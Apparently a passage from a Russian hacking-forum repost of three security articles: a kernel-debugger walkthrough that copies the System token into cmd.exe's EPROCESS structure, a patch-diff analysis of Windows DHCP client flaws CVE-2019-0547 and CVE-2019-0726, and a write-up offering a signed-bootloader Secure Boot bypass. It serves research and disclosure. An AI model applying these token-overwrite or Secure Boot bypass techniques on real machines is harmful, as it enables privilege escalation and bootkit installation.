+0x43c DefaultPagePriority : Pos 12, 3 Bits
+0x43c PrimaryTokenFrozen : Pos 15, 1 Bit
+0x43c ProcessVerifierTarget : Pos 16, 1 Bit
+0x43c StackRandomizationDisabled : Pos 17, 1 Bit
+0x43c AffinityPermanent : Pos 18, 1 Bit
+0x43c AffinityUpdateEnable : Pos 19, 1 Bit
+0x43c PropagateNode : Pos 20, 1 Bit
+0x43c ExplicitAffinity : Pos 21, 1 Bit
+0x440 Flags : Uint4B
+0x440 CreateReported : Pos 0, 1 Bit
+0x440 NoDebugInherit : Pos 1, 1 Bit
+0x440 ProcessExiting : Pos 2, 1 Bit
+0x440 ProcessDelete : Pos 3, 1 Bit
+0x440 Wow64SplitPages : Pos 4, 1 Bit
+0x440 VmDeleted : Pos 5, 1 Bit
+0x440 OutswapEnabled : Pos 6, 1 Bit
+0x440 Outswapped : Pos 7, 1 Bit
+0x440 ForkFailed : Pos 8, 1 Bit
+0x440 Wow64VaSpace4Gb : Pos 9, 1 Bit
+0x440 AddressSpaceInitialized : Pos 10, 2 Bits
+0x440 SetTimerResolution : Pos 12, 1 Bit
+0x440 BreakOnTermination : Pos 13, 1 Bit
+0x440 DeprioritizeViews : Pos 14, 1 Bit
+0x440 WriteWatch : Pos 15, 1 Bit
+0x440 ProcessInSession : Pos 16, 1 Bit
+0x440 OverrideAddressSpace : Pos 17, 1 Bit
+0x440 HasAddressSpace : Pos 18, 1 Bit
+0x440 LaunchPrefetched : Pos 19, 1 Bit
+0x440 InjectInpageErrors : Pos 20, 1 Bit
+0x440 VmTopDown : Pos 21, 1 Bit
+0x440 ImageNotifyDone : Pos 22, 1 Bit
+0x440 PdeUpdateNeeded : Pos 23, 1 Bit
+0x440 VdmAllowed : Pos 24, 1 Bit
+0x440 CrossSessionCreate : Pos 25, 1 Bit
+0x440 ProcessInserted : Pos 26, 1 Bit
+0x440 DefaultIoPriority : Pos 27, 3 Bits
+0x440 ProcessSelfDelete : Pos 30, 1 Bit
+0x440 SetTimerResolutionLink : Pos 31, 1 Bit
+0x444 ExitStatus : Int4B
+0x448 VadRoot : _MM_AVL_TABLE
+0x488 AlpcContext : _ALPC_PROCESS_CONTEXT
+0x4a8 TimerResolutionLink : _LIST_ENTRY
+0x4b8 RequestedTimerResolution : Uint4B
+0x4bc ActiveThreadsHighWatermark : Uint4B
+0x4c0 SmallestTimerResolution : Uint4B
+0x4c8 TimerResolutionStackRecord : Ptr64 _PO_DIAG_STACK_RECORD
Следует отметить, что для нового запущенного процесса формируется токен, который будет указывать на принадлежность к какой-либо группе с определенным набором привилегий. Группа прав новоиспеченного процесса далека от привилигированных форм.
Практика
Для ознакомления мы запустим командную строку (cmd.exe) со стандартными
привилегиями пользователя, а затем с помощью отладчика ядра вручную определим
маркер высоко привилегированного системного процесса и дадим запущенному
процессу cmd.exe системный уровень привилегии.
Как видите, у нас не хватает привилегий.
Загрузив виртуальную машину, отладчик должен показать следующее.
Далее ставим Break (CTRL+Break либо Debug->Break). Внизу становится активной консоль
Code:Copy to clipboard
KD>
Сначала найдем шестнадцатеричный адрес системного процесса System:
Code:Copy to clipboard
kd> !process 0 0 System
PROCESS fffffa80018c8040
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00187000 ObjectTable: fffff8a000001910 HandleCount: 494.
Image: System
Выделенная строка указывает на структуру _EPROCESS со многими полями, которые мы можем вывести следующим образом:
Code:Copy to clipboard
kd> dt _EPROCESS fffffa80018c8040
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x160 ProcessLock : _EX_PUSH_LOCK
+0x168 CreateTime : _LARGE_INTEGER 0x01d4ffe1`f068e91e
+0x170 ExitTime : _LARGE_INTEGER 0x0
+0x178 RundownProtect : _EX_RUNDOWN_REF
+0x180 UniqueProcessId : 0x00000000`00000004 Void
+0x188 ActiveProcessLinks : _LIST_ENTRY [ 0xfffffa80`0299e498 - 0xfffff800`02838b90 ]
+0x198 ProcessQuotaUsage : [2] 0
+0x1a8 ProcessQuotaPeak : [2] 0
+0x1b8 CommitCharge : 0x21
+0x1c0 QuotaBlock : 0xfffff800`02816c00 _EPROCESS_QUOTA_BLOCK
+0x1c8 CpuQuotaBlock : (null)
+0x1d0 PeakVirtualSize : 0xac1000
+0x1d8 VirtualSize : 0x44d000
+0x1e0 SessionProcessLinks : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]
+0x1f0 DebugPort : (null)
+0x1f8 ExceptionPortData : (null)
+0x1f8 ExceptionPortValue : 0
+0x1f8 ExceptionPortState : 0y000
+0x200 ObjectTable : 0xfffff8a0`00001910 _HANDLE_TABLE
+0x208 Token : _EX_FAST_REF
[...]
Токен представляет собой значение размера указателя, расположенное со смещением 0x208, и мы можем вывести значение следующим образом:
Code:Copy to clipboard
kd> dq fffffa80018c8040+208 L1
fffffa80`018c8248 fffff8a0`0000404e
Возможно, вы заметили, что в структуре _EPROCESS, поле Token объявлено как _EX_FAST_REF, а не как ожидаемая структура _TOKEN. Структура _EX_FAST_REF - это уловка, основанная на предположении, что структуры данных ядра должны быть выровнены в памяти на 16-байтовой границе. Это означает, что указатель на токен или любой другой объект ядра всегда будет иметь последние 4 бита равными нулю (в шестнадцатеричном формате последняя цифра всегда будет равна нулю). Поэтому Windows может свободно использовать младшие 4 бита значения указателя для чего-то другого (в этом случае счетчик ссылок может использоваться для внутренних оптимизационных целей).
Code:Copy to clipboard
kd> dt _EX_FAST_REF
nt!_EX_FAST_REF
+0x000 Object : Ptr64 Void
+0x000 RefCnt : Pos 0, 4 Bits
+0x000 Value : Uint8B
Чтобы получить фактический указатель из _EX_FAST_REF, просто измените последнюю шестнадцатеричную цифру на ноль. Для этого программно замаскируйте младшие 4 бита значения с помощью операции логического «И».
Code:Copy to clipboard
kd> ? fffff8a0`0000404e & ffffffff`fffffff0
Evaluate expression: -8108898238400 = fffff8a0`00004040
Мы можем отобразить токен с помощью dt _TOKEN или получить другой вывод с помощью команды расширения !token:
Code:Copy to clipboard
kd> !token fffff8a0`00004040
_TOKEN 0xfffff8a000004040
TS Session ID: 0
User: S-1-5-18
User Groups:
00 S-1-5-32-544
Attributes - Default Enabled Owner
01 S-1-1-0
Attributes - Mandatory Default Enabled
02 S-1-5-11
Attributes - Mandatory Default Enabled
03 S-1-16-16384
Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S-1-5-18
[...]
Обратите внимание, что идентификатор безопасности (SID) со значением S-1-5-18 является встроенным SID для учетной записи локальной системы (см. [SID от Microsoft](https://support.microsoft.com/ru-ru/help/243330/well-known- security-identifiers-in-windows-operating-systems)).
Следующий шаг - найти структуру _EPROCESS для процесса cmd.exe и заменить указатель токена со смещением 0x208 на адрес системного токена:
Code:Copy to clipboard
kd> !dml_proc
Address PID Image file name
fffffa80`018c8040 4 System
[...]
fffffa80`036d3060 a78 sppsvc.exe
fffffa80`027c2800 aa0 svchost.exe
fffffa80`0283a890 3bc cmd.exe
fffffa80`01ab6b30 8cc conhost.exe
fffffa80`01ce7060 894 msinfo32.exe
fffffa80`01d13860 9a4 WmiPrvSE.exe
kd> eq fffffa80`0283a890+208 fffff8a0`00004040
Наконец, перейдите в командную строку и используйте встроенную команду whoami для отображения учетной записи пользователя. Вы также можете подтвердить, запустив команды или получив доступ к файлам, которые, как вы знаете, должны требовать прав администратора.
p.s.
Метод рабочий. Сам скрины делал и проверял все... Пруф не стал записывать. Данный способ используется в некоторых CVE'-шках ... CVE-2018-8120 через разыменование нулевого указателя тырит токен и перезаписывает. Я всего лишь хотел показать сам механизм перезаписи токена =) В реальности конечно же машину чужую так не взломать, так как для включения отладки на Win7 нужны права админа. Но имея доступ на перезапись любого сегмента памяти - получить привилегии вполне реально. На основе этого работают многие эксплоиты повышения привилегий...
Автор: GlowFisch
взято с codeby
Безопасность DHCP в Windows 10: разбираем критическую уязвимость CVE-2019-0726
Новость Microsoft устранила две 0Day-уязвимости в Windows - https://xss.is/threads/28267/
С выходом январских обновлений для Windows новость о критически опасной уязвимости [CVE-2019-0547](https://cve.mitre.org/cgi- bin/cvename.cgi?name=CVE-2019-0547) в DHCP-клиентах всколыхнула общественность. Подогревали интерес высокий рейтинг CVSS и тот факт, что Microsoft не сразу опубликовал оценку эксплуатабельности, усложнив тем самым пользователям решение о неотложном обновлении систем. Некоторые издания даже предположили, что отсутствие индекса можно интерпретировать как свидетельство о том, что уже в ближайшее время появится рабочий эксплойт.
Уязвимость проявляется по той причине, что операционная система некорректно обрабатывает объекты в памяти.
Click to expand...
Итак, чтобы добавить в продукты компании правила обнаружения атак на новоиспеченную уязвимость в DHCP, а также правила выявления устройств, ей подверженных, следовало разобраться в деталях. В случае бинарных уязвимостей для проникновения в суть лежащих в их основе ошибок часто используется patch- diff, то есть сравнение изменений, внесенных в бинарный код приложения, библиотеки или ядра операционной системы конкретным патчем, обновлением, исправляющим эту ошибку. Но первый этап — это всегда рекогносцировка.
Примечание : Чтобы перейти непосредственно к описанию уязвимости, минуя лежащие в ее основе концепты DHCP, вы можете пропустить первые несколько страниц и обратиться сразу к разделу «Функция DecodeDomainSearchListData».
Рекогносцировка
Обращаемся в поисковик и просматриваем все известные на данный момент детали уязвимости. На этот раз деталей минимум, и все они являются вольными переработками информации, почерпнутой из [оригинальной публикации](https://portal.msrc.microsoft.com/en-US/security- guidance/advisory/CVE-2019-0547) на сайте MSRC. Такая ситуация вполне типична для ошибок, обнаруженных специалистами Microsoft во время внутреннего аудита.
Из публикации выясняем, что перед нами уязвимость типа memory corruption, содержащаяся как в клиентских, так и в серверных системах Windows 10 version 1803 и проявляющаяся в тот момент, когда злоумышленник отправляет специальным образом сформированные ответы DHCP-клиенту. Спустя пару дней с того момента на странице появятся также и индексы эксплуатабельности:
Как видно, MSRC проставили оценку «2 — Exploitation Less Likely». Это значит, что ошибка с большой вероятностью либо неэксплуатабельна вовсе, либо эксплуатация сопряжена с такими сложностями, преодоление которых потребует чересчур высоких трудозатрат. Следует признать, что Microsoft не свойственно занижать такие оценки. Отчасти на это влияет риск репутационных потерь, отчасти — некоторая независимость центра реагирования в рамках компании. Поэтому предположим: раз в отчете угроза эксплуатации указана как маловероятная, наверняка так оно и есть. Собственно, на этом можно было бы завершить разбор, но не будет лишним перепроверить и хотя бы выяснить, в чем заключалась уязвимость. В конечном счете, несмотря на всю бесспорную индивидуальность, ошибки имеют свойство повторяться и проявлять себя в других местах.
С той же самой страницы скачиваем патч (security update), предоставляемый в виде .msu-архива, распаковываем его и ищем файлы, наиболее вероятно связанные с обработкой DHCP-ответов на клиентской стороне. В последнее время делать это стало гораздо сложнее, так как обновления стали поставляться не в виде отдельных пакетов, исправляющих конкретные ошибки, а в виде одного совокупного пакета, включающего все месячные исправления. Это сильно увеличило лишний шум, то есть не относящиеся к нашей задаче изменения.
Среди всего множества файлов поиск обнаруживает несколько подходящих под фильтр библиотек, которые мы сравниваем с их версиями на непропатченной системе. Библиотека dhcpcore.dll выглядит наиболее многообещающе. При этом BinDiff выдает минимальные изменения:
Собственно, отличные от косметических правки внесены в одну-единственную функцию — DecodeDomainSearchListData. Если вы хорошо знакомы с протоколом DHCP и его не слишком часто используемыми опциями, то уже можете предположить, что за список обрабатывает эта функция. Если же нет, то переходим ко второму этапу — изучению протокола.
DHCP и его опции
DHCP (RFC 2131 | wiki) — это расширяемый протокол, способность к пополнению возможностей которого обеспечивается полем options. Каждая опция описывается уникальным тегом (номером, идентификатором), размером, занимаемым данными, содержащимися в опции, и самими данными. Подобная практика типична для сетевых протоколов, и одной из таких «имплантированных» в протокол опций является Domain Search Option, описанная в RFC 3397. Она позволяет DHCP-серверу устанавливать на клиентах стандартные окончания доменных имен, которые будут использоваться в качестве DNS-суффиксов для настраиваемого таким образом соединения.
Пусть, для примера, на нашем клиенте были заданы следующие окончания имен:
Code:Copy to clipboard
.microsoft.com
.wikipedia.org
Тогда при любой попытке определить адрес по доменному имени в DNS-запросы будут подставляться по очереди суффиксы из этого списка до тех пор, пока не будет найдено успешное отображение. Например, если пользователь ввел ru в адресной строке браузера, то будут сформированы DNS-запросы сначала для ru.microsoft.com, затем для ru.wikipedia.org:
На самом деле, современные браузеры чересчур умные, а потому на имена, не похожие на FQDN, реагируют перенаправлением в поисковик. Поэтому ниже прилагаем вывод менее избалованных утилит:
![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fke%2Ftq%2Ff3%2Fketqf3pyckb- rp2en-dygbswtrq.png&hash=ee14b7e285ca3b3cbafe72b0ecd9193f)
Читателю могло показаться, что в этом и состоит уязвимость, ведь сама по себе возможность подменять DNS-суффиксы с помощью DHCP-сервера, каковым может себя идентифицировать любое устройство в сети, представляет угрозу для клиентов, запрашивающих какие бы то ни было параметры сети по DHCP. Но нет: как следует из RFC, это считается вполне легитимным, документированным поведением. Собственно, DHCP-сервер по сути своей является одним из тех доверенных компонентов, которые могут оказывать сильное влияние на обращающиеся к ним устройства.
Опция Domain Search
Domain Search Option имеет номер 0x77 (119). Как и все опции, она кодируется однобайтовым тегом с номером опции. Как и у большинства прочих опций, сразу за тегом идет однобайтовый размер следующих за размером данных. Экземпляры опции могут присутствовать в DHCP-сообщении более одного раза. В этом случае данные со всех таких секций конкатенируются в той последовательности, в которой встречаются в сообщении.
В представленном примере, взятом из RFC 3397, данные разбиты на три секции, каждая по 9 байт. Как несложно понять из картинки, имена поддоменов в полном доменном имени кодируются однобайтовой длиной имени, непосредственно за которой следует само имя. Заканчивается кодирование полного доменного имени нулевым байтом (то есть нулевым размером имени поддомена).
Помимо этого, в опции используется простейший метод сжатия данных, а точнее, просто точки повторной обработки (reparse points). Вместо размера доменного имени поле может содержать значение 0xc0. Тогда следующий за ним байт задает смещение относительно начала данных опции, по которому следует искать окончание доменного имени.
Таким образом, в рассматриваемом примере закодирован список из двух доменных суффиксов:
Code:Copy to clipboard
.eng.apple.com
.marketing.apple.com
Функция DecodeDomainSearchListData
Итак, опция DHCP под номером 0x77 (119) позволяет серверу настраивать на клиентах DNS-суффиксы. Но не на машинах с операционными системами семейства Windows. Системы от Microsoft традиционно игнорировали эту опцию, поэтому исторически окончания DNS-имен в случае необходимости накатывались через групповые политики. Так продолжалось до недавнего времени, когда в очередном релизе Windows 10, версии 1803, была добавлена обработка для Domain Search Option. Судя по названию функции в dhcpcore.dll, в которую были внесены изменения, именно в добавленном обработчике и кроется рассматриваемая ошибка.
Приступаем к работе. Причесываем немного код и выясняем следующее. Процедура DecodeDomainSearchListData, в полном соответствии с названием, декодирует данные из Domain Search Option поступившего от сервера сообщения. На входе она получает упакованный описанным в предыдущем пункте способом массив данных, а на выходе генерирует нуль-терминированную строку, содержащую список окончаний доменных имен, разделенных запятыми. Например, данные из примера выше эта функция преобразует в строку:
Code:Copy to clipboard
eng.apple.com,marketing.apple.com
Вызывается DecodeDomainSearchListData из процедуры UpdateDomainSearchOption, которая прописывает возвращенный список в значение «DhcpDomainSearchList» ключа реестра:
Code:Copy to clipboard
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{INTERFACE_GUID}\
хранящего основные параметры конкретного сетевого интерфейса.
Функция DecodeDomainSearchListData отрабатывает за два прохода. На первом проходе она выполняет все действия, кроме записи в выходной буфер. Таким образом, первый проход посвящен подсчету размера памяти, необходимого для размещения возвращаемых данных. На втором проходе уже происходит выделение памяти под эти данные и заполнение выделенной памяти. Функция довольно невелика, порядка 250 инструкций, и основная ее работа заключается в обработке каждого из трех возможных вариантов представленного во входящем потоке символа: 1) 0x00, 2) 0xc0, или 3) все остальные значения. Предположительное исправление ошибки, связанной с DHCP, по большому счету сводится к добавлению в начале второго прохода проверки размера результирующего буфера. Если этот размер равен нулю, то память под буфер не выделяется и функция сразу завершает исполнение и возвращает ошибку:
Получается, уязвимость проявляет себя в тех случаях, когда размер целевого буфера оказывается равен нулю. При этом в самом начале выполнения функция проверяет входящие данные, размер которых не может быть меньше двух байтов. Стало быть, для эксплуатации требуется подобрать таким образом сформированную непустую опцию доменных суффиксов, чтобы размер выходного буфера был нулевым.
Эксплуатация
Первым делом в голову приходит мысль, что можно использовать описанные ранее reparse points для того, чтобы непустые данные на входе генерировали пустую строку на выходе:
Сервер, настроенный посылать в ответе опцию с таким содержимым, действительно вызовет access violation на необновленных клиентах. Происходит это по следующей причине. На каждом шаге, когда функция разбирает часть полного доменного имени, она копирует ее в целевой буфер и ставит после нее точку. В примере, взятом из RFC, в буфер будут скопированы данные в следующем порядке:
Code:Copy to clipboard
1). eng.
2). eng.apple.
3). eng.apple.com.
Затем, когда во входных данных встречается нулевой размер домена, функция заменяет предыдущий символ целевого буфера с точки на запятую:
Code:Copy to clipboard
4). eng.apple.com,
и продолжает разбор:
Code:Copy to clipboard
5). eng.apple.com,marketing.
6). eng.apple.com,marketing.apple.
7). eng.apple.com,marketing.apple.com.
8). eng.apple.com,marketing.apple.com,
По окончании входных данных остается лишь заменить последнюю запятую на нулевой символ и получается готовая к записи в реестр строка:
Code:Copy to clipboard
9). eng.apple.com,marketing.apple.com
Что же происходит в случае, когда атакующий отправляет сформированный описанным способом буфер? Если разобраться в примере, то видно, что список, содержащийся в нем, состоит из одного элемента — пустой строки. На первом проходе функция подсчитывает размер данных на выходе. Так как данные не содержат ни одного ненулевого доменного имени, то размер равен нулю.
На втором проходе происходит выделение блока динамической памяти для размещения данных в нем и копирование самих данных. Но функция разбора сразу встречает нулевой символ, означающий конец доменного имени, а потому, как и было сказано, заменяет предыдущий символ с точки на запятую. И здесь мы сталкиваемся с проблемой. Итератор целевого буфера находится в нулевой позиции. Предыдущего символа нет. Предыдущий символ принадлежит заголовку блока динамической памяти. И этот самый символ будет заменен на 0x2c, то есть на запятую.
Впрочем, так происходит только на 32-битных системах. Использование unsigned int для хранения текущей позиции итератора целевого буфера вносит свои коррективы в обработку на x64-системах. Обратим более пристальное внимание на кусок кода, отвечающий за запись запятой в буфер:
Вычитание единицы из текущей позиции происходит с использованием 32-битного регистра eax, в то время как при адресации буфера код обращается к полному 64-битному регистру rax. В архитектуре AMD64 любые операции с 32-битными регистрами обнуляют старшую часть регистра. Это означает, что в регистре rax, содержавшем прежде нуль, после вычитания будет храниться не значение –1, а 0xffffffff. Следовательно, на 64-битных системах значение 0x2c будет записываться по адресу buf[0xffffffff], то есть далеко за границами выделенной под буфер памяти.
Полученные данные хорошо согласуются с оценкой эксплуатабельности от Microsoft, ведь для того, чтобы воспользоваться данной уязвимостью, атакующему требуется научиться удаленно производить heap spraying на DHCP-клиенте и при этом иметь достаточный контроль над распределением динамической памяти, чтобы запись заранее заданных значений, а именно запятой и нулевого байта, производилась в подготовленный адрес и приводила к контролируемым негативным последствиям. В противном случае запись данных по невыверенному адресу будет иметь в качестве последствия падение процесса svchost.exe вместе со всеми хостящимися в нем на этот момент сервисами — и дальнейший перезапуск этих сервисов операционной системой. Факт, который злоумышленники в определенных условиях также могут использовать себе во благо.
Вот, казалось бы, и все, что можно сказать об исследуемой ошибке. Только остается ощущение, будто это далеко не конец. Будто мы не рассмотрели все варианты. Должно быть нечто большее, что скрыто в этих строках.
CVE-2019-0726
Вероятно, так оно и есть. Если пристально посмотреть на вид данных, провоцирующих ошибку, и сопоставить их с тем, как именно эта ошибка возникает, можно заметить, что список доменных имен может быть изменен таким образом, что результирующий буфер будет ненулевого размера, но попытка записи за его пределы все так же будет производиться. Для этого первый элемент в списке должен быть пустой строкой, а все остальные могут содержать нормальные доменные окончания. Например:
Представленная опция включает в себя два элемента. Первый доменный суффикс пуст, он сразу заканчивается нулевым байтом. Второй суффикс — .ru. Подсчитанный размер строки на выходе будет равен трем байтам, что позволит преодолеть налагаемую январским обновлением проверку на пустоту целевого буфера. В то же время нуль в самом начале данных вынудит функцию записать предыдущим символом в результирующую строку запятую, но так как текущая позиция итератора в строке, как и в рассмотренном ранее случае, равна нулю, то запись вновь произойдет за пределы выделенного буфера.
Теперь следует подтвердить полученные теоретические результаты на практике. Моделируем ситуацию, в которой DHCP-сервер шлет в ответ на запрос от клиента сообщение с представленной опцией, и сразу же ловим исключение при попытке записи запятой в позицию 0xffffffff выделенного под результирующую строку буфера:
Здесь регистр r8 содержит указатель на входящие опции, rdi — адрес выделенного целевого буфера, а rax — позицию в этом буфере, в которую нужно записать символ. Такие результаты мы получили на полностью обновленной системе (по состоянию на январь 2019 года).
Пишем об обнаруженной проблеме в Microsoft и… они теряют письмо. Да, такое иногда случается даже с зарекомендовавшими себя вендорами. Никакая система не идеальна, и приходится в этом случае искать другие пути коммуникации. Поэтому неделю спустя, не получив даже автоответа за это время, связываемся напрямую с менеджером через Twitter и по результатам нескольких дней анализа заявки выясняем, что отправленные детали не имеют никакого отношения к CVE-2019-0547 и представляют собой самостоятельную уязвимость, для которой будет заведен новый CVE-идентификатор. Еще месяц спустя, в марте, выходит соответствующее исправление, а ошибка получает номер [CVE-2019-0726](https://portal.msrc.microsoft.com/en-US/security- guidance/advisory/CVE-2019-0726).
Вот так можно иногда в попытках разобраться в подробностях уязвимости 1-day случайно обнаружить 0-day, просто доверившись своей интуиции.
Автор : Михаил Цветков,
Positive Technologies
Эксплуатация подписанных загрузчиков для обхода защиты UEFI Secure Boot
Введение
Прошивки современных материнских плат компьютера работают по спецификации
UEFI, и с 2013 года поддерживают технологию проверки подлинности загружаемых
программ и драйверов Secure Boot, призванную защитить компьютер от буткитов.
Secure Boot блокирует выполнение неподписанного или недоверенного программного
кода: .efi-файлов программ и загрузчиков операционных систем, прошивок
дополнительного оборудования (OPROM видеокарт, сетевых адаптеров).
Secure Boot можно отключить на любой магазинной материнской плате, но
обязательное требование для изменения его настроек — физическое присутствие за
компьютером. Необходимо зайти в настройки UEFI при загрузке компьютера, и
только тогда получится отключить технологию или изменить её настройки.
Большинство материнских плат поставляется только с ключами Microsoft в
качестве доверенных, из-за чего создатели загрузочного ПО вынуждены обращаться
в Microsoft за подписью загрузчиков, проходить процедуру аудита, и
обосновывать необходимость глобальной подписи их файла, если они хотят, чтобы
диск или флешка запускались без необходимости отключения Secure Boot или
добавления их ключа вручную на каждом компьютере.
Подписывать загрузчики у Microsoft приходится разработчикам дистрибутивов
Linux, гипервизоров, загрузочных дисков антивирусов и программ для
восстановления компьютера.
Мне хотелось сделать загрузочную флешку с различным ПО для восстановления компьютера, которая бы грузилась без отключения Secure Boot. Посмотрим, как это можно реализовать.
Подписанные загрузчики загрузчиков
Итак, чтобы загрузить Linux при включенном Secure Boot, нужен подписанный
загрузчик. Microsoft запретила подписывать ПО, лицензированное под GPLv3, из-
за запрета тивоизации правилами лицензии, поэтому [GRUB подписать не
получится](https://techcommunity.microsoft.com/t5/Windows-Hardware-
Certification/Microsoft-UEFI-CA-Signing-policy-
updates/ba-p/364828?advanced=false&collapse_discussion=true&q=uefi&search_type=thread).
В ответ на это, Linux Foundation выпустили
[PreLoader](https://blog.hansenpartnership.com/linux-foundation-secure-boot-
system-released/), а Мэтью Гарретт написал
shim — маленькие начальные
загрузчики, проверяющие подпись или хеш следующего загружаемого файла.
PreLoader и shim не используют сертификаты UEFI db, а содержат базу
разрешенных хешей (PreLoader) или сертификатов (shim) внутри себя.
Обе программы, помимо автоматической загрузки доверенных файлов, позволяют
загружать и любые ранее недоверенные файлы в режиме Secure Boot, но требуют
физического присутствия пользователя: при первом запуске необходимо выбрать
добавляемый сертификат или файл для хеширования в графическом интерфейсе,
после чего данные заносятся в специальную переменную NVRAM материнской платы,
которая недоступна для изменения из загруженной операционной системы. Файлы
становятся доверенными только для этих пред-загрузчиков, а не для Secure Boot
вообще, и запустить их без PreLoader/shim всё равно не получится.
Действия, необходимые при первом запуске недоверенной программы через shim.
Все современные популярные дистрибутивы Linux используют shim, из-за поддержки сертификатов, которая позволяет легко обновлять следующий загрузчик без необходимости взаимодействия с пользователем. Как правило, shim используется для запуска GRUB2 — наиболее популярного бутлоадера в Linux.
GRUB2
Чтобы злоумышленники втихую не наделали делов с помощью подписанного
загрузчика какого-либо дистрибутива, Red Hat сделал патчи для GRUB2,
блокирующие «опасные» функции при включенном Secure Boot: insmod/rmmod,
appleloader, linux (заменён linuxefi), multiboot, xnu, memrw, iorw. К модулю
chainloader, загружающему произвольные .efi-файлы, дописали собственный
загрузчик .efi (PE), без использования команд UEFI LoadImage/StartImage, а
также код валидации загружаемых файлов через shim, чтобы сохранялась
возможность загрузки файлов, доверенных для shim, но не доверенных с точки
зрения UEFI. Почему сделали именно так — непонятно; UEFI позволяет
переопределять (хукать) функции проверки загружаемых образов, именно так
работает PreLoader, да и в самом shim такая функция
имеется,
но по умолчанию отключена.
Так или иначе, воспользоваться подписанным GRUB из какого-то дистрибутива Linux не получится. Для создания универсальной загрузочной флешки, которая бы не требовала добавление ключей каждого загружаемого файла в доверенные, есть два пути:
Второй вариант предпочтительней — загруженные недоверенные программы тоже смогут загружать недоверенные программы (например, можно загружать файлы через UEFI Shell), а в первом варианте загружать всё может только сам GRUB. [Модифицируем PreLoader](https://github.com/ValdikSS/Super-UEFIinSecureBoot- Disk/tree/master/efi-tools-patches), убрав из него лишний код и разрешив запуск любых файлов.
Итого, архитектура флешки получилась следующая:
Так появился Super UEFIinSecureBoot Disk.
Super UEFIinSecureBoot Disk — образ диска с загрузчиком GRUB2, предназначенным для удобного запуска неподписанных efi-программ и операционных систем в режиме UEFI Secure Boot.
Диск можно использовать в качестве основы для создания USB-накопителя с утилитами восстановления компьютера, для запуска различных Live- дистрибутивов Linux и среды WinPE, загрузки по сети, без отключения Secure Boot в настройках материнской платы, что может быть удобно при обслуживании чужих компьютеров или корпоративных ноутбуков, например, при установленном пароле на изменение настроек UEFI.
Образ состоит из трех компонентов: предзагрузчика shim из Fedora (подписан ключом Microsoft, предустановленным в подавляющее большинство материнских плат и ноутбуков), модифицированного предзагрузчика PreLoader от Linux Foundation (для отключения проверки подписи при загрузке .efi-файлов), и модифицированного загрузчика GRUB2.
Во время первой загрузки диска на компьютере с Secure Boot необходимо выбрать сертификат через меню MokManager (запускается автоматически), после чего загрузчик будет работать так, словно Secure Boot выключен: GRUB загружает любой неподписанный .efi-файл или Linux-ядро, загруженные EFI- программы могут запускать другие программы и драйверы с отсутствующей или недоверенной подписью.
Для демонстрации работоспособности, в образе присутствует Super Grub Disk (скрипты для поиска и загрузки установленных операционных систем, даже если их загрузчик поврежден), GRUB Live ISO Multiboot (скрипты для удобной загрузки Linux LiveCD прямо из ISO, без предварительной распаковки и обработки), One File Linux (ядро и initrd в одном файле, для восстановления системы), и несколько UEFI-утилит.
Диск совместим с UEFI без Secure Boot, а также со старыми компьютерами с BIOS.
Click to expand...
Подписанные загрузчики
Мне было интересно, можно ли как-то обойти необходимость добавления ключа
через shim при первом запуске. Может, есть какие-то подписанные загрузчики,
которые позволяют делать больше, чем рассчитывали авторы?
Как оказалось — такие загрузчики есть. Один из них используется в Kaspersky
Rescue Disk 18 — загрузочном
диске с антивирусным ПО. GRUB с диска позволяет загружать модули (команда
insmod), а модули в GRUB — обычный исполняемый код. Пред-загрузчик у диска
собственный.
Разумеется, просто так GRUB из диска не загрузит недоверенный код. Необходимо модифицировать модуль chainloader, чтобы GRUB не использовал функции UEFI LoadImage/StartImage, а самостоятельно загружал .efi-файл в память, выполнял релокацию, находил точку входа и переходил по ней. К счастью, почти весь необходимый код есть в репозитории GRUB'а с поддержкой Secure Boot от Red Hat, единственная проблема: код парсинга заголовка PE отсутствует, заголовок парсит и возвращает shim, в ответ на вызов функции через специальный протокол. Это легко исправить, портировав соответствующий код из shim или PreLoader в GRUB.
Так появился Silent UEFIinSecureBoot Disk. Получившаяся архитектура диска выглядит следующим образом:
Заключение
В этой статье мы выяснили, что существуют недостаточно надежные загрузчики,
подписанные ключом Microsoft, разрешающим работу в режиме Secure Boot.
С помощью подписанных файлов Kaspersky Rescue Disk мы добились «тихой»
загрузки любых недоверенных .efi-файлов при включенном Secure Boot, без
необходимости добавления сертификата в UEFI db или shim MOK.
Эти файлы можно использовать как для добрых дел (для загрузки с USB-флешек),
так и для злых (для установки буткитов без ведома владельца компьютера).
Предполагаю, что сертификат Касперского долго не проживет, и его добавят в
глобальный список отозванных сертификатов
UEFI, который установят на компьютеры с
Windows 10 через Windows Update, что нарушит загрузку Kaspersky Rescue Disk 18
и Silent UEFIinSecureBoot Disk. Посмотрим, как скоро это произойдет.
Скачать Super UEFIinSecureBoot Disk: <https://github.com/ValdikSS/Super-
UEFIinSecureBoot-Disk>
Скачать Silent UEFIinSecureBoot Disk в сети ZeroNet Git
Center:
http://127.0.0.1:43110/1KVD7PxZVke1iq4DKb4LNwuiHS4UzEAdAv/
Про ZeroNet
ZeroNet — очень мощная система создания децентрализованных распределенных
динамических веб-сайтов и сервисов. При посещении какого-либо ресурса,
пользователь начинает его скачивать и раздавать, как в BitTorrent. При этом,
возможно создание полноценных ресурсов: блогов с комментариями, форумов,
видеохостингов, wiki-сайтов, чатов, email, git.
ZeroNet разделяет понятия кода и данных сайта: пользовательские данные
хранятся в .json-файлах, а при синхронизации импортируются в sqlite-базу
данных сайта со стандартизированной схемой, что позволяет делать
умопомрачительные вещи: локальный поиск текста по всем когда либо открытым
сайтам за миллисекунды, автоматический real-time аналог RSS для всех сайтов
разом.
Стандартизированная система аутентификации и авторизации (похожа на OAuth),
поддержка работы за NAT и через Tor.
ZeroNet очень быстро работает, дружелюбен к пользователю, имеет современный
интерфейс и мелкие, но очень удобные фишки, вроде глобального переключения
дневной/ночной темы на сайтах.
Я считаю ZeroNet очень недооцененной системой, и намеренно публикую Silent- версию только в ZeroNet Git, для привлечения новых пользователей.
(c) ValdikSS
Локальное повышение привилегий в Windows
